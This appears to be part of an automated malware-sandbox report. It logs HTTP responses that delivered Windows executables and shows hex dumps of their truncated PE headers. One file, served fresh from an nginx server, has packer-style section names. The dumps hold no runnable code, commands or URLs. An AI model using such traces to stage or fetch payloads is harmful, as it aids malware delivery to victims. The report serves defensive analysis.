00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 07:43:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 07 Dec 2024 07:43:49 GMTContent-Type: application/octet-streamContent-Length: 3203584Last-Modified: Sat, 07 Dec 2024 07:33:33 GMTConnection: keep-aliveETag: "6753fa4d-30e200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 31 00 00 04 00 00 b1 23 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 d2 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 d1 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 65 68 67 67 65 76 7a 00 30 2a 00 00 b0 06 00 00 24 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 66 6b 73 68 64 63 6f 00 10 00 00 00 e0 30 00 00 06 00 00 00 ba 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 30 00 00 22 00 00 00 c0 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 